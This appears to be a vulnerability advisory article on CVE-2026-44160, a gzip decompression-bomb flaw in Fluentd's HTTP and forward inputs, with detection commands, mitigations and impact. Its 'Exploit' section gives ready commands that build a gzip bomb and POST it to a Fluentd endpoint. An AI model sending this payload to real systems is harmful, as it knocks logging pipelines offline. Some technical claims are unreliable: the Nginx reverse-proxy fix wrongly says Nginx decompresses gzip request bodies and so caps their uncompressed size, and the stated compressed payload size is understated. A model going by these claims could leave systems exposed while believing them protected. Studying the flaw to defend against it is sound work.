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How CVE-2026-44160 Works
Fluentd is a popular open-source data collector that unifies log collection and consumption across various data sources and outputs. It supports multiple input plugins, including `in_http` and in_forward, which are commonly used to ingest log data over HTTP and TCP respectively. To improve performance and reduce bandwidth consumption, these plugins natively support receiving gzip-compressed payloads.
Prior to version 1.19.3, Fluentd enforced size limits—such as `body_size_limit` (for in_http) and `chunk_size_limit` (for in_forward)—only on the compressed payload as it arrives over the network. This means that if an attacker sends a small compressed file (e.g., a few kilobytes) that decompresses into an enormous amount of data (gigabytes or more), Fluentd will accept the small compressed payload and then attempt to decompress it entirely in memory.
The decompression operation does not check or limit the final uncompressed size. As a result, a single crafted request can cause memory consumption to spike rapidly, leading to an Out-of-Memory (OOM) condition. The operating system’s OOM killer will then terminate the Fluentd process, effectively taking down the entire logging pipeline on that node. Because the attack requires no authentication and can be performed over the network, any Fluentd instance exposed to untrusted networks is at risk.
The vulnerability is classified as a “decompression bomb” (also known as a “zip bomb”) attack, but applied to gzip streams. The core issue is the separation of size enforcement from the actual resource consumption phase—limits are checked before decompression, but the decompression itself is unbounded. This flaw was addressed in Fluentd v1.19.3 by introducing a limit on the decompressed data size, ensuring that expansion cannot exceed a safe threshold. Until then, administrators must rely on network restrictions or reverse proxies to mitigate the risk.
DailyCVE Form:
Platform: ……. Fluentd
Version: …….. <=1.19.2
Vulnerability :…… Gzip decompression bomb
Severity: ……. High (7.5)
date: ………. 2026-06-26
Prediction: 2026-07-15 (estimated)
What Undercode Say
Analytics & Detection
To identify whether your Fluentd instance is vulnerable, check the version:
fluentd --version or gem list fluentd
If the version is 1.19.2 or lower, the instance is vulnerable. You can also monitor system logs for OOM killer events:
dmesg | grep -i "out of memory" journalctl -k | grep -i "oom"
To detect potential exploitation attempts, monitor network traffic on ports `9880` (default for in_http) and `24224` (default for in_forward) for unusually small packets that result in high memory usage:
sudo tcpdump -i any port 9880 or port 24224 -v
Code Snippet – Vulnerable Configuration Example
Example fluentd.conf (vulnerable) <source> @type http port 9880 body_size_limit 10m only limits compressed size </source> <source> @type forward port 24224 chunk_size_limit 10m only limits compressed size </source>
Exploit
An attacker can craft a gzip file with a very high compression ratio (e.g., using repeated patterns) and send it as the HTTP body to `in_http` or as a forward packet to in_forward. A small payload of a few kilobytes can expand to hundreds of megabytes or even gigabytes when decompressed.
Example using `curl` to send a compressed bomb:
Create a highly compressible payload (e.g., 1GB of 'A' characters) dd if=/dev/zero bs=1M count=1024 | tr '\0' 'A' | gzip > bomb.gz Send to Fluentd's in_http endpoint curl -X POST -H "Content-Encoding: gzip" --data-binary @bomb.gz http://target:9880/your.tag
Upon receiving this request, Fluentd will decompress `bomb.gz` in memory, consuming ~1GB of RAM (or more, depending on the size) and likely triggering an OOM kill.
Protection
- Upgrade to Fluentd v1.19.3 or later – This is the only complete fix. For packaged distributions, upgrade to fluent-package v6.0.4 or higher.
- Restrict Network Access – Ensure that ports `9880` and `24224` are only accessible from trusted networks. Use firewalls, security groups, or iptables:
iptables -A INPUT -p tcp --dport 9880 -s 192.168.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 9880 -j DROP iptables -A INPUT -p tcp --dport 24224 -s 192.168.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 24224 -j DROP
- Use a Reverse Proxy – Place Nginx or HAProxy in front of Fluentd to handle gzip decompression and enforce limits on both compressed and uncompressed body sizes before forwarding:
Nginx example server { listen 80; client_max_body_size 10m; location / { proxy_pass http://fluentd:9880; proxy_set_header Host $host; Nginx will decompress gzip automatically if we set proxy_request_buffering on proxy_request_buffering on; client_body_buffer_size 10m; } }
Impact
Denial of Service (Availability) – Successful exploitation results in memory exhaustion, causing the Fluentd process to be killed by the OOM killer. This disrupts all log collection, filtering, and forwarding on the affected node, leading to data loss and gaps in monitoring and observability pipelines. Since Fluentd is often a critical component in logging infrastructures, an outage can affect downstream systems that rely on log data for security monitoring, performance analysis, and troubleshooting.
CVSS Score – 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The attack is network-based, requires no privileges, and has no user interaction, making it easily exploitable.
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Sources:
Reported By: nvd.nist.gov
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